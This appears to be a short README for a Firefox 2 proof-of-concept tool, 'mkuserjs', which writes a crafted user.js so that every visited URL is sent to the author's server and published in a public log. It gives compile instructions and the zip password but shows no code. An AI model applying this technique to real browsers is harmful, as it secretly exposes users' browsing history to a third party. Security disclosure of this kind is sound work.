mkuserjs.cpp is a simple proof-of-concept that demonstrates how it is easily to transform Firefox2 to spyware. (See http://bb.homelinux.org/firefox/sb/ for more details.) It creates specially crafted user.js file that enables built-in spyware in Firefox2. Running this program creates user.js in your Firefox's profile directory, so after restarting Firefox2 all visited URLs are sent to this server and are visible here: http://bb.homelinux.org/firefox/sb/urls.log If you want to reverse changes made by "mkuserjs" follow instructions given here: http://bb.homelinux.org/firefox/sb/ mkuserjs.zip includes executable compiled for Windows with free Digital Mars C/C++ compiler (http://www.digitalmars.com/). It should work on Windows 2k/XP/Vista. Password to .zip file is: "firefox=spyware" (without quotes). On Linux you can compile it with g++: g++ -o mkuserjs mkuserjs.cpp Enjoy! BB